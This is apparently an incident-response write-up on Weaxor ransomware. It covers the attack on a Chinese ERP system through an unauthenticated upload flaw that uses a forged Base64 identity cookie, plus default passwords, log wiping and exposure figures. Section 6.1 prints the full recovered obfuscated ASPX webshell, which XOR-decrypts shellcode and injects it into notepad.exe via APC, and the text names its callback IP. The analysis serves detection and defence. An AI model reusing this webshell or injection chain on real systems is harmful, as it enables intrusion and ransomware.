写在前面
本文首发于Solar应急响应团队-「州弟学安全」，转载请务必注明出处。
先向各位读者说明一件事：上周，我们先后发布了两篇关于某国产 ERP 系统漏洞的分析文章。发布后，出于内容严谨性与合规表达的考虑，我们主动对文章做了下架处理，并就相关内容与相关方完成了沟通。目前问题已妥善处理，现将两篇文章合并修订后重新发布：漏洞结论与防护建议保持不变，部分内容做了进一步脱敏。给本周等待更新的读者说一声抱歉，也感谢大家的理解。
回到正题。六月底，我们发布了 Weaxor 与 TellYouThePass 两大家族借管家婆软件攻击国内中小企业的全链路复盘（【全网首发】Weax与Sorry勒索病毒席卷全国中小企业，深度还原全链路攻击，疑似黑客利用AI挖掘管家婆0day漏洞）；七月的 JADEPUFFER 复盘中，我们又跟踪了全球首个 AI 自主完成的勒索攻击（【深度解析】黑客开始把活外包给AI了，全球首个AI自主勒索攻击全复盘 ）。两篇文章留下过同一个判断：勒索组织的漏洞武器化速度正在发生质变，0day 正在取代 Nday 成为主攻方向。
这个判断的第三次验证，来得比我们预想的更快。
7 月底至今，Solar 应急响应团队接连处置了多起 .weax 勒索事件，这一次中招的是某国产 ERP 系统的用户。经过历史漏洞逐一排除、本地代码审计与授权环境下的实测复现，我们最终确认：攻击者使用的是该系统一个此前从未公开过的前台任意文件上传 0day 漏洞。第一轮研判中，我们认为攻击者依赖的是该系统广泛存活的出厂默认密码；而就在受害客户改完密码之后，同一攻击者再次完成加密，迫使我们重新回到代码，挖出了门槛更低的第二条路：身份伪造，无需任何账号密码即可上传 webshell。漏洞定性随之从“已认证任意文件上传”升级为“未授权任意文件上传”，CVSS 3.1 评分由 8.8（High）升至 9.8（Critical）。
通过资产测绘，全网约有 3.8 万个资产部署了该系统，其中超过 99% 位于国内。本文依旧从案发现场讲起，完整还原排查、审计、复现、升级研判的全过程。代码审计部分只讲清漏洞逻辑，不公开漏洞点的具体位置与完整利用方式，相关截图均做打码处理，供同行参考，也防止被直接滥用。相关分析已按流程同步相关方。
一、案发现场：一台被加密的 ERP 服务器
1.1 客户找上门时，局面是这样的
8 月 7 日，一家中小企业联系到我们：公司的 ERP 服务器被勒索，业务文件、数据库备份全部变成了 .weax 后缀的乱码文件，勒索信要求联系攻击者邮箱付费解密。
这台服务器承载着公司整套进销存业务。为了方便外勤人员访问，企业通过边界设备把 ERP 的 Web 服务映射到了公网一个非标准端口上。这是国内中小企业 ERP 极其典型的一种部署方式，也是整起事件的入口前提。
受害服务器上被加密的文件，后缀统一为.weax
从文件系统的加密痕迹看，全盘加密在 7 月 29 日 21:42 结束，大量系统目录、数据库目录下的文件时间戳整齐地停在这一刻。
文件时间戳显示，加密于7月29日21:42结束
1.2 两个可疑的 aspx 文件
取证过程中，我们在 ERP 安装目录的上传文件夹里发现了两个不属于系统的 aspx 文件：
D:\...\SYSA\Edit\fNet\billuploadfield\U1\Y2026\M7\202607291947273599.aspx
D:\...\SYSA\Edit\fNet\billuploadfield\U1\Y2026\M7\202607291957127978.aspx
这是两个 webshell。它们存在于服务器只有两种可能：要么攻击者先拿到了服务器权限再手动放进去，要么系统本身就存在一条可以上传任意文件的通道。前者在排查中被排除，后者最终被实锤，这是后话。
取证现场发现的webshell文件及其落地路径
先记住这两个文件名的结构，它会在后面的代码审计环节成为关键证据：
202607291947273599.aspx：2026 年 7 月 29 日 19:47 上传；202607291957127978.aspx：2026 年 7 月 29 日 19:57 上传。
1.3 攻击时间线还原
把文件时间戳、残留日志、加密器落盘记录拼在一起，整个作案过程可以还原到分钟级：
三个值得注意的细节：
从 webshell 落地到加密结束，全程不到两个小时，中间还包含一次加密器执行失败后的重来。作案节奏干净利落，没有多余试探，说明攻击者对这套流程已经非常熟练； 19:57 这一秒，事件查看器留下大量“日志已被清除”的记录，攻击者在作案过程中自动化清除了 Windows 关键日志，这是 Weaxor 加密器升级后的新能力，后文细说； 当我们想调取 IIS 的 Web 访问日志还原攻击者的 HTTP 请求时，发现被加密当天的 IIS 日志处于加密状态，无法读取。这同样不是巧合，也放到后文展开。
二、排查：历史漏洞全部排除，方向收敛到上传通道
溯源的第一步永远是假设排除。这套 ERP 在国内中小企业中装机量不小，公开渠道能查到的历史漏洞主要是 SQL 注入类。我们把这些已知漏洞点逐一在受害环境上做了验证，结论是：全部不成立。
数据库层面也没有异常：没有爆破痕迹，没有可疑的异地登录，ERP 自带的业务日志里找不到攻击者的操作记录。
但 webshell 就在机器上，文件还是新生成的，名字完全符合“系统上传功能自动重命名”的风格。到这里，排查方向已经收敛：
系统里一定存在一个文件上传功能的缺陷，让攻击者能把 aspx 文件写进 Web 目录。而公开渠道从未有过这类漏洞的披露，这意味着它是一个 0day。
剩下的问题只有两个：这个上传通道藏在哪段代码里，以及攻击者用什么身份走进了这条通道。
三、代码审计：一条零校验的上传链路
3.1 审计策略：顺着 webshell 的名字往回找
该 ERP 是 .NET 架构，服务端代码编译在几个核心业务 DLL 里，我们对程序集做静态审计。审计不是大海捞针，webshell 本身给了两条极有价值的线索：
文件名结构： 202607291957127978.aspx明显是“时间戳＋随机数＋扩展名”的程序化命名，找到生成这种文件名的代码，就找到了上传逻辑；落盘路径结构： U1\Y2026\M7明显是“用户 ID＋年＋月”的逐级目录，找到拼接这种路径的代码，就能和受害现场交叉验证。
3.2 入口点审计
系统的 Web 层存在一个通用的文件上传处理逻辑，对外通过一个处理程序接收请求，并按请求中的 cmd 参数分发动作：cmd 参数为空时执行文件上传，命令为删除指令时执行文件删除。上传和删除共用同一个入口，这种设计本身没有问题，问题出在它对后续参数的完全信任。
代码中上传入口分发逻辑
3.3 客户端传参决定文件落盘位置
跟进上传分支后可以看到，文件最终写到哪个业务目录，是由客户端请求里的一个目录参数决定的。代码对参数取值做了简单的映射判断：命中特定取值就写入对应业务目录，其余取值统一落入一个 Web 可访问的业务上传目录。
代码中目录参数映射逻辑
3.4 路径拼接：与受害现场一一对应
继续往下，是落盘路径的逐级拼接逻辑。代码按固定子目录、用户 ID、当前年份、当前月份一层层拼接出最终目录，目录不存在则逐级创建：
代码拼接规则： fNet\billuploadfield\ U{UserID} \ Y{Year} \ M{Month}
受害现场路径： fNet\billuploadfield\ U1 \ Y2026 \ M7
U1：UserID=1，对应随系统安装即创建的管理员账号；Y2026：上传时的年份 2026 年；M7：上传时的月份 7 月。
代码生成的路径结构与受害现场严丝合缝。到这一步，“webshell 是通过这条上传通道写进去的”已经可以确认。
代码中路径逐级拼接逻辑
3.5 核心缺陷：扩展名零校验，字节流原样落盘
整条链路上最关键的一环，是文件重命名逻辑。系统收到上传文件后，会给文件起一个新名字，规则是：
新文件名 = 当前时间戳（yyyyMMddHHmmss）＋ 1000到9999之间的随机数 ＋ 用户文件自带的扩展名
问题就出在最后一截：扩展名直接取自用户上传的文件名，没有任何白名单，也没有黑名单。上传 .txt 和上传 .aspx，走的是完全相同的处理流程。
这段代码还顺便解答了 webshell 名字的来历，逐段拆开看：
202607291957127978.aspx
= 20260729195712 上传时刻：2026年7月29日19时57分12秒
＋ 7978 随机数（1000到9999）
＋ .aspx 用户自带的扩展名，原样保留
文件名里嵌着上传时间，精确到秒。这也是为什么我们仅凭文件名就能把攻击时间线还原到分钟级。
最后一道关口同样不存在。文件内容的写入是字节流原样落盘：不检查文件头、不扫描危险内容、不校验文件实际类型是否与扩展名一致。
代码中扩展名处理逻辑（核心漏洞点）
代码中文件写盘逻辑
把整条链路串起来：攻击者拿到一个有效身份，向系统上传接口上传一个 aspx 文件，系统不查扩展名、不看内容、不问落点，原样写进 Web 目录，文件名里还有精确到秒的上传时间。访问对应路径，webshell 即被 IIS 执行。
四、默认密码：第一条路
先说清楚一个整起事件中最意想不到的事实，它是第一轮研判确认的攻击身份来源。
我们在受害系统上验证发现，这套 ERP 的管理员账号仍然是出厂默认密码88888888，UserID 为 1 的管理员账户可以直接登录系统后台。这套默认凭据写在软件的交付体系里，实施商远程装机、交付即用，大量企业从安装那天起就没动过它。
受害系统的 ERP 登录页，通过公网映射端口直接可达
使用默认密码即可登录 ERP 后台
有人可能会下意识地问：2026 年了，怎么还有企业用默认密码？
做应急响应这些年，我们看到的真实情况是：这不是个例，而是中小企业的常态。企业买软件的目的是让业务跑起来，实施商远程装好、培训完就撤场，之后系统“能用就不动”。很多管理员不是不知道默认密码有风险，而是有更现实的顾虑：改了密码会不会影响业务？万一改完出问题，业务停了，责任算谁的？在“看不见的安全风险”和“改完可能立刻被追责的业务故障”之间，多数人会选择不动，因为风险是或然的，追责是即时的。
所以比起指责使用方，我们更想指出问题本身：一套面向中小企业的商业软件，在 2026 年仍然允许出厂默认密码长期有效，不强制首次登录改密、不做弱口令拦截，这是产品设计层面需要正视的问题。这个前提不改变，今天修复了这个上传漏洞，明天攻击者还会找到下一个。
在客户授权下，我们于受害系统上以默认口令完成了完整复现：登录、构造上传请求、服务端返回成功、文件落盘、浏览器直接访问，全流程畅通，测试文件落地的路径结构与 webshell 完全一致。
授权环境下的漏洞复现：上传请求与服务端成功响应（敏感信息已打码）
复现落地的文件可直接通过 Web 访问，路径结构与受害 webshell 一致（敏感信息已打码）
至此，第一条攻击链路闭环：公网可达的 ERP 登录页 → 默认密码登录 → 上传通道零校验 → webshell 落盘并执行 → 投放加密器。按已认证任意文件上传定性，CVSS 3.1 评分 8.8。
五、身份伪造：改了密码也拦不住的第二条路
5.1 一个反常现象：改了密码，照样被打
第一篇文章发布时，我们的结论是“默认密码登录后上传”。但随后发生的一件事，直接推翻了这个结论的完整性：受害客户在已经完成密码修改的情况下，于 8 月 10 日再次被同一勒索家族加密，webshell 依旧出现在 U1 目录。
密码改了，攻击者是怎么进来的？登录日志里没有任何记录。
回头再看，疑点其实一直在那里：如果攻击者走的是“猜密码、试密码”的路线，不同受害目标的 webshell 落点应该随实际登录的账号各有不同；而我们接触到的现场，webshell 几乎无一例外全部落在 U1 目录。
合理的解释只剩一个：攻击者根本不需要登录，只需要让系统“认为”他是 UserID=1。而 UserID=1 的管理员账号随系统安装即创建，在数据库里必然存在，伪造它的成本为零。
攻击者在 8 月 7 日、8 月 10 日两次将 webshell 上传至 U1 目录
5.2 身份识别机制：没有防伪能力的 Cookie
带着这个疑问，我们重新回到代码，把系统的身份认证逻辑逐行审计了一遍，问题浮出水面：系统在处理请求时，会读取请求中一个用于标识站点用户的 Cookie，其内容仅做了 Base64 处理。
请注意，Base64 是编码，不是加密，任何人都可以解码、篡改、重新编码。而系统对这段数据没有签名校验、没有加密保护、没有服务端比对：客户端在 Cookie 里宣称自己是几号用户，系统就把你当作几号用户。
伪造身份之后，系统还有一道“用户存在性校验”：拿着这个 ID 去用户表里查“该用户是否存在且有效”。这本该是兜底的一步，但查询对象是攻击者自己报上来的数字：填 1，UserID=1 的管理员随系统安装即创建，查询必然通过；校验通过后，后续所有鉴权逻辑看到的都是一个“已登录的管理员”，负责拦截未登录请求的判断被直接跳过。
Cookie值被解析并直接写入会话的代码逻辑
用户存在性校验与认证拦截判断的代码逻辑
至此，身份伪造完成，前面讲过的上传链路原封不动地接在后面。区别只在于身份的获取方式：从“默认密码”降级为“一行 Cookie”。这也彻底解答了为什么所有受害现场的 webshell 都落在 U1 目录：攻击者从未登录过任何人的账号，他只是每次都“宣称”自己是 1 号用户。
另有一个细节值得记录：该上传处理逻辑的第一行就关闭了业务日志记录，上传动作在应用层同样无痕。这与前文“登录日志查不到攻击者”互为印证。审计过程中我们还发现了另一条认证绕过路径（移动端场景），但其落点特征与勒索现场不符，可以确认攻击者实际使用的就是上述 Cookie 身份伪造方式，该路径同样已在报告中提交相关方，不再展开。
5.3 实测验证：同一个接口，两种结局
纸上得来终觉浅。我们搭了一套最新版本的环境，对同一个上传接口做了两次请求。
第一次，不带任何身份凭据，直接访问上传接口，系统返回：您还未登录，无法访问系统。这是正常系统该有的样子。
第二次，请求中带上按照系统自身格式构造的身份凭据，用户标识指向 1。同一个接口，同一个文件，这一次系统没有任何质疑：返回上传成功，文件落盘，路径中的用户目录正是 U1。
未登录状态下直接访问上传接口，系统拒绝服务。这是正常系统该有的样子。
伪造身份后，无需登录、无需密码，文件直接写入 U1 目录，与多起勒索现场的 webshell 路径严丝合缝
同一个接口，两种结局，中间只隔着一个没有防伪能力的身份凭据。
需要特别说明的是，我们实测环境的版本与受害客户的版本不同，但两个版本，同一个缺陷，同一个结果。也就是说，这不是某个特定版本的问题，而是这套身份识别机制从设计之初就带在身上的，影响的是全量版本。
5.4 漏洞定性升级
身份伪造这条路被完整走通后，漏洞定性必须更新为：未授权任意文件上传，CVSS 3.1 评分 9.8（Critical）。
三个要点逐一说清楚：
第一，门槛的变化是质变，不是量变。用默认密码打，攻击者需要先尝试登录，会在登录日志里留下记录，可能撞上客户改过的密码，可能被登录防护拦住。用身份伪造打，这些全都不存在：不用猜密码，不产生登录记录，不触发任何登录防护，一次请求直达上传。攻击者的成本，从“试一下密码”降为零。
第二，影响面要按全量算了。默认密码路径的受害者是按比例估算的；身份伪造不挑密码，UserID=1 的管理员账号必然存在，这是系统安装的默认行为，与客户怎么用、怎么配没有关系。3.8 万条测绘资产，几乎全数在此威胁之下。
第三，此前的研判没有作废。默认密码登录后上传这条路是真实存在的，出厂默认密码的隐患也是真实的，只是它不是唯一的路。两条路通向同一个上传点：一条走正门，一条翻墙。此前的处置建议全部继续有效，本次是在此基础上的加重预警，不是推翻，是升级。
六、webshell 与加密器：对手的两个技术细节
6.1 进程注入型 webshell
我们对现场提取的 webshell 做了完整分析，文件本体不到 9KB，规格明显超出新手水平。核心逻辑一句话概括：页面被访问即触发，将内置的加密 shellcode 解密后注入系统进程执行。三个关键点：
全文件混淆：所有函数名、变量名均为随机字符串，代码块之间插入随机字符注释，用于破坏文件特征，规避基于特征码的静态查杀； shellcode 加密存储：以密文数组内置，运行时经循环 XOR 解密，文件中不存在任何明文恶意字符串； 注入链成熟：以挂起方式创建系统自带的记事本进程，在其进程空间申请可执行内存并写入解密后的 shellcode，再通过 APC 投递执行。这是渗透工具中典型的免杀注入手法，后续恶意行为在进程列表里就表现为一个普通的记事本进程。
对解密后的 shellcode 进一步分析，其内置回连地址 154.201.141.227，HTTP 请求伪装成对业务接口的正常访问，该地址可作为自查的 IOC 使用。对防守方的提示很直接：只看进程名、只扫文件特征，在这类载荷面前是不够的，内存行为检测与进程注入链监控才是有效路径。
<%@ Page Language="C#" %>
<%@ Import Namespace="System"%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Runtime.InteropServices"%>
<%@ Import Namespace="System.Runtime.ConstrainedExecution" %>
<%@ Import Namespace="System.Security" %>
<script language="c#" runat="server">
// --- hkpyqAKdWDQBoBZN ---
[StructLayout(LayoutKind.Sequential)]
internal struct wjAlahXU {
public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
internal struct kTSTkdbD {
public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle;
public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize;
public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute;
public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2;
public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError;
}
// --- mhvHIclLwANUPbfM ---
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref kTSTkdbD lpStartupInfo, out wjAlahXU lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
[SuppressUnmanagedCodeSecurity]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool CloseHandle(IntPtr hObject);
private byte[] JyvBhglL(byte[] PzGNWiLr, byte[] PLNfTjhw){
byte[] krZtDBjl = new byte[PzGNWiLr.Length];
for (int i = 0; i < PzGNWiLr.Length; i++){
krZtDBjl[i] = (byte)(PzGNWiLr[i] ^ PLNfTjhw[i % PLNfTjhw.Length]);
}
return krZtDBjl;
}
public void Page_Load(object sender, EventArgs e)
{
bXZrmNCL();
}
private void bXZrmNCL()
{
byte[] EFNSjLlB = new byte[] { 0x94, 0xbe, 0x6a, 0x9c, 0xe6, 0x53, 0xb5, 0xbc, 0x2e, 0x1e, 0x38, 0x1f, 0x34, 0x55, 0xeb, 0xe3, 0x04, 0xef, 0x17, 0xb4, 0x47, 0x5e, 0x47, 0xe3, 0x20, 0x5d, 0x31, 0x99, 0x36, 0x24, 0x59, 0x96, 0x4f, 0xa0, 0x87, 0x2f, 0xd7, 0x19, 0xeb, 0xee, 0x25, 0x76, 0xbe, 0xc0, 0x39, 0x98, 0x04, 0xb4, 0x17, 0xb4, 0x43, 0x5e, 0x77, 0xf7, 0x2e, 0x3a, 0xf0, 0xff, 0x7f, 0x5e, 0xa8, 0x22, 0xa9, 0x9d, 0x36, 0x03, 0x5e, 0x7d, 0xd3, 0xa4, 0xb2, 0x5b, 0xbe, 0xd4, 0x38, 0x54, 0x1f, 0x68, 0xa8, 0x6d, 0x52, 0x03, 0x04, 0x34, 0x1e, 0x2a, 0xd7, 0x7e, 0xc8, 0xd6, 0x69, 0x91, 0xdb, 0x7c, 0x93, 0xa7, 0xd6, 0x48, 0x33, 0x14, 0x97, 0x5f, 0xca, 0xe5, 0x83, 0xe3, 0x0e, 0xc7, 0x9d, 0x35, 0x35, 0x5e, 0x39, 0x80, 0xa4, 0xb2, 0x67, 0xbe, 0xd4, 0x50, 0x6c, 0xdd, 0xe2, 0x4c, 0x6f, 0x17, 0xf1, 0x11, 0x90, 0x74, 0x8b, 0x22, 0xe5, 0x56, 0x24, 0x88, 0x0e, 0xbc, 0xc6, 0x6d, 0x41, 0x3e, 0xb3, 0x96, 0x47, 0x84, 0x1e, 0xcb, 0x07, 0xb3, 0x1f, 0x3f, 0x8d, 0xf5, 0xb2, 0x3b, 0x99, 0x42, 0xed, 0x28, 0x15, 0xae, 0x8e, 0xf8, 0x8c, 0x3f, 0x01, 0xb4, 0xcb, 0x8e, 0x69, 0x83, 0x4c, 0x6c, 0xd0, 0x3f, 0x92, 0x3b, 0x07, 0xdb, 0x68, 0x0d, 0xd2, 0x55, 0xb7, 0x02, 0xbf, 0x36, 0x9a, 0x7e, 0x82, 0xbe, 0xd9, 0x07, 0xdb, 0x3b, 0x06, 0x8b, 0xcb, 0x6f, 0xcc, 0x13, 0xca, 0x1e, 0xc4, 0x9a, 0x20, 0x8e, 0xd5, 0x89, 0x00, 0x56, 0xe1, 0xdc, 0x62, 0x01, 0x87, 0x67, 0x98, 0x7d, 0xba, 0x13, 0x54, 0x52, 0xf5, 0x53, 0xa9, 0x36, 0x15, 0x20, 0xd0, 0x16, 0x65, 0xfa, 0xd0, 0xbd, 0x2c, 0xd5, 0xf8, 0x88, 0x3e, 0x3e, 0xce, 0x9a, 0xfe, 0x28, 0x2a, 0xe0, 0x4e, 0xef, 0xe5, 0xff, 0x7c, 0x06, 0xdb, 0x68, 0x67, 0x1c, 0x19, 0x10, 0x27, 0xd1, 0xbc, 0x32, 0xc4, 0xe3, 0x13, 0x15, 0xc2, 0x39, 0x35, 0xa9, 0x36, 0x15, 0x27, 0x3b, 0x90, 0x14, 0x95, 0x1e, 0x15, 0xae, 0x8e, 0xf8, 0x8c, 0x02, 0x51, 0xb2, 0xca, 0xb6, 0x3b, 0x62, 0x62, 0x2b, 0x24, 0x15, 0xae, 0x00, 0x07, 0xf4, 0x68, 0x56, 0xda, 0x5b, 0x92, 0xe4, 0xe4, 0xca, 0x22, 0xbe, 0xeb, 0x7b, 0xbf, 0xee, 0x12, 0x69, 0x56, 0xe3, 0x74, 0x6d, 0xac, 0x2a, 0xca, 0xe4, 0x7a, 0x99, 0x1e, 0xcd, 0x28, 0x9a, 0x18, 0x26, 0x8f, 0xe5, 0xc9, 0x00, 0xb0, 0x47, 0xbd, 0x4a, 0x98, 0x54, 0xdc, 0x75, 0xbe, 0x0c, 0x3f, 0x97, 0xb3, 0x87, 0x23, 0xbc, 0x43, 0xf8, 0x00, 0xdc, 0x48, 0xea, 0x4f, 0x8b, 0x50, 0x11, 0xa8, 0xdd, 0xd6, 0x10, 0x84, 0x73, 0xcb, 0x24, 0x49, 0xac, 0x01, 0x47, 0x1a, 0x80, 0x34, 0x6b, 0x68, 0xc1, 0x52, 0x30, 0xc3, 0xaa, 0xee, 0x26, 0x37, 0xb3, 0x42, 0xe3, 0x1c, 0x93, 0x25, 0xaf, 0x2b, 0x0f, 0xbc, 0x70, 0x48, 0x4c, 0x0e, 0xa8, 0xbf, 0x46, 0xb8, 0x0b, 0x33, 0x93, 0xe8, 0xdc, 0x73, 0xb4, 0x45, 0xbb, 0x43, 0x83, 0x18, 0xde, 0x73, 0xb2, 0x07, 0x38, 0xcc, 0xf6, 0x95, 0x3c, 0xbb, 0x19, 0xeb, 0x4e, 0x9a, 0x0b, 0xd3, 0x6e, 0xb8, 0x09, 0x22, 0x8a, 0xf3, 0x88, 0x7c, 0xad, 0x58, 0xa7, 0x03, 0xca, 0x1a, 0xcf, 0x77, 0xb7, 0x01, 0x35, 0x82, 0xe8, 0x8f, 0x3c, 0xbb, 0x1a, 0xb3, 0x47, 0x9e, 0x16, 0xd3, 0x2c, 0xa3, 0x05, 0x3a, 0xee, 0x96, 0xa7, 0x30, 0xb6, 0x50, 0xbb, 0x5b, 0xc7, 0x37, 0xde, 0x69, 0xbc, 0x1d, 0x37, 0x84, 0xf9, 0xdc, 0x73, 0xbb, 0x59, 0xc6, 0x25, 0xab, 0x18, 0xdc, 0x62, 0xab, 0x1c, 0x7b, 0xa6, 0xf2, 0x85, 0x3c, 0xb1, 0x5c, 0xa5, 0x48, 0xd0, 0x5b, 0x95, 0x2b, 0xfb, 0x0f, 0x2c, 0x8a, 0xec, 0xeb, 0x59, 0x80, 0x46, 0xae, 0x5d, 0xc7, 0x3a, 0xd8, 0x62, 0xb5, 0x1c, 0x6c, 0xc3, 0xd1, 0x89, 0x29, 0xbc, 0x59, 0xa7, 0x4e, 0xc5, 0x4e, 0x91, 0x37, 0xfb, 0x40, 0x01, 0x8a, 0xf2, 0x82, 0x3c, 0xa2, 0x46, 0xeb, 0x61, 0xbe, 0x5b, 0x8e, 0x37, 0xf5, 0x58, 0x6d, 0xc3, 0xcb, 0x8f, 0x3d, 0xe3, 0x01, 0xf0, 0x0f, 0x92, 0x4d, 0x8b, 0x3c, 0xfb, 0x1a, 0x20, 0xd9, 0xa9, 0xdf, 0x7d, 0xe5, 0x1c, 0xeb, 0x68, 0x8f, 0x18, 0xd4, 0x68, 0xf4, 0x5a, 0x66, 0xd2, 0xac, 0xd6, 0x62, 0xe5, 0x04, 0xeb, 0x69, 0x83, 0x09, 0xda, 0x61, 0xb4, 0x10, 0x79, 0xd6, 0xa5, 0xc8, 0x63, 0xd8, 0x3f, 0xcb, 0xae, 0xa6, 0x32, 0x09, 0x5a, 0x5f, 0xf3, 0x3b, 0x76, 0x18, 0x93, 0x02, 0x1b, 0x15, 0x76, 0x3b, 0x43, 0x1d, 0x91, 0xba, 0x25, 0xd8, 0xbb, 0xc2, 0x25, 0xca, 0x2a, 0x9c, 0x8e, 0xc5, 0xf0, 0x48, 0x97, 0xd1, 0x03, 0x99, 0xf1, 0x60, 0x16, 0xec, 0x5d, 0x1f, 0xd0, 0xbb, 0xff, 0x2d, 0x2d, 0xe5, 0xd7, 0x3a, 0x56, 0xb3, 0xc0, 0x7a, 0x3c, 0xa8, 0x92, 0xf8, 0xc1, 0xad, 0x83, 0xeb, 0x16, 0xcd, 0x62, 0xb8, 0x50, 0x0d, 0x7f, 0xe6, 0xfb, 0x3c, 0x30, 0x0f, 0xaf, 0x99, 0xe9, 0xfe, 0x0e, 0xd4, 0x74, 0xb2, 0xcd, 0xce, 0xc7, 0x6f, 0xe5, 0xba, 0x65, 0xa9, 0x0a, 0x03, 0x79, 0x28, 0x50, 0xc2, 0x9e, 0x56, 0x8b, 0x6c, 0x53, 0xf1, 0x83, 0xca, 0x1e, 0x45, 0xaa, 0x13, 0xbf, 0x17, 0xdb, 0x68, 0x3e, 0xe3, 0x9c, 0xa6, 0x53, 0x82, 0x5d, 0x93, 0x8b, 0xb9, 0x9e, 0x40, 0xd2, 0x48, 0xd1, 0xc7, 0xe1, 0x9c, 0xe6, 0x52, 0x0c, 0x64, 0x98, 0xa6, 0x0d, 0x2c, 0xd7, 0x07, 0xfb, 0x68, 0x56, 0xb0, 0xca, 0x8e, 0x41, 0x43, 0xbc, 0x29, 0xd0, 0x3f, 0xfe, 0x7f, 0x73, 0x1d, 0xe3, 0x51, 0xe2, 0x5f, 0x63, 0x93, 0xa0, 0xd0, 0x93, 0xec, 0x02, 0xd2, 0x42, 0xf8, 0x24, 0x59, 0x63, 0xd7, 0xb2, 0xd4, 0x63, 0xe4, 0x1b, 0xfa, 0x1b, 0xdb, 0x55, 0x8d, 0x35, 0xec, 0x68, 0x6c, 0x3d, 0xf4, 0x57 };
byte[] QkwTKBes = new byte[] { 0x68, 0x56, 0xe3, 0x9c, 0xe6, 0x53, 0xd5, 0x35, 0xcb, 0x2f, 0xea, 0x7b, 0xbf, 0x07, 0xdb };
// --- OYLQfkNvvtoMDCNd ---
byte[] PeGTdLwm = this.JyvBhglL(EFNSjLlB, QkwTKBes);
wjAlahXU iNrBdBzt = new wjAlahXU();
kTSTkdbD gXchHzRm = new kTSTkdbD();
uint YlFtPxkg = 0x00000004;
uint IJmLZPCg = 0x1000;
uint epsUnGWY = 0x40;
bool DfahQDCK = CreateProcess(null, "notepad.exe", IntPtr.Zero, IntPtr.Zero, false, YlFtPxkg, IntPtr.Zero, null, ref gXchHzRm, out iNrBdBzt);
if (!DfahQDCK) { return; }
IntPtr JGwfXGpr = VirtualAllocEx(iNrBdBzt.hProcess, IntPtr.Zero, (uint)PeGTdLwm.Length, IJmLZPCg, epsUnGWY);
if (JGwfXGpr == IntPtr.Zero) { return; }
IntPtr iYLoORPt;
WriteProcessMemory(iNrBdBzt.hProcess, JGwfXGpr, PeGTdLwm, PeGTdLwm.Length, out iYLoORPt);
if (JGwfXGpr != IntPtr.Zero)
{
QueueUserAPC(JGwfXGpr, iNrBdBzt.hThread, IntPtr.Zero);
ResumeThread(iNrBdBzt.hThread);
}
CloseHandle(iNrBdBzt.hProcess);
CloseHandle(iNrBdBzt.hThread);
}
</script>
6.2 加密器的新动向：不仅锁数据，还要断溯源的路
本次溯源中有一个细节值得单独讲，因为它改变了传统勒索事件的取证规则。
其一，自动化清除系统日志。7 月 29 日 19:57，事件查看器里同一秒内集中出现大量“日志文件已被清除”（事件 ID 104）记录，连 PowerShell 日志都未能幸免。人工清理很难做到这个速度，这是加密器内置的自动化反取证动作。从我们今年 3、4 月份起处置的多起 Weaxor 事件来看，这一能力已成为其加密器的标配。
事件查看器中，大量104（日志清除）事件集中在同一秒出现
安全审核日志被清除（事件ID 1102），此后日志记录出现明显断层
其二，单独加密 IIS 日志和数据库日志。受害服务器被加密当天的 IIS Web 日志和数据库日志全部处于加密状态，而它们恰恰记录着攻击者调用上传接口的完整 HTTP 痕迹。结合对加密器样本的行为分析可以确认：加密器对日志类数据做了针对性处理，攻击者用单独的密钥将当天的 Web 日志与数据库日志再加密一遍。这个结论在实际案例中得到过印证：部分受害企业在委托溯源前已通过各自途径先行恢复了业务数据，我们在其服务器上核实发现，业务数据确实回来了，但被加密当天的日志仍是加密状态，无法访问。
数据即便恢复，当天产生的WEB日志会被加密或损坏
把这两个动作放在一起看，Weaxor 的思路很清晰：最大化受害者的损失，同时最小化自己被追溯的可能。对防守方的直接启示是：本地日志已经不可信。日志的异地留存、集中外发，从“可选项”变成了“必选项”。
七、影响面：3.8 万资产暴露，攻击成本趋近于零
7.1 全网测绘
我们通过 FOFA 对全网部署该系统的资产做了测绘，截至 2026 年 8 月 17 日的数据：
38,798 条匹配资产，11,721 个独立 IP； 从地域分布看，中国 38,128 条，占比超过 99%，其余零星分布在中国香港、美国、中国台湾、新加坡等地。
FOFA 测绘结果：全网约 3.8 万个资产部署该 ERP 系统
也就是说，这是一套几乎纯国内用户的软件，3.8 万个暴露资产背后，是 3.8 万家中小企业的进销存、财务、客户数据。
7.2 两条路径，两个口径
默认密码路径下，我们曾按交付模式、用户画像和应急经验做过推算：这类交付型管理软件的默认或初始口令未修改比例长期在一到三成之间，取保守区间 10% 到 25% 估算，仍在使用默认密码的系统约在 3,800 到 9,500 套之间。
而身份伪造路径被证实后，这个比例失去了意义：不依赖任何口令条件，3.8 万条测绘资产几乎全量在打击范围内。
再算一笔攻击者的账：从测绘平台导出资产清单，构造身份凭据调用上传通道投递 webshell，随后投放加密器。整条链路没有一步需要人工介入，单台目标的攻击成本趋近于零。这就是我们发布加重预警的原因。
7.3 从 Nday 到 0day：Weaxor 的武器化在提速
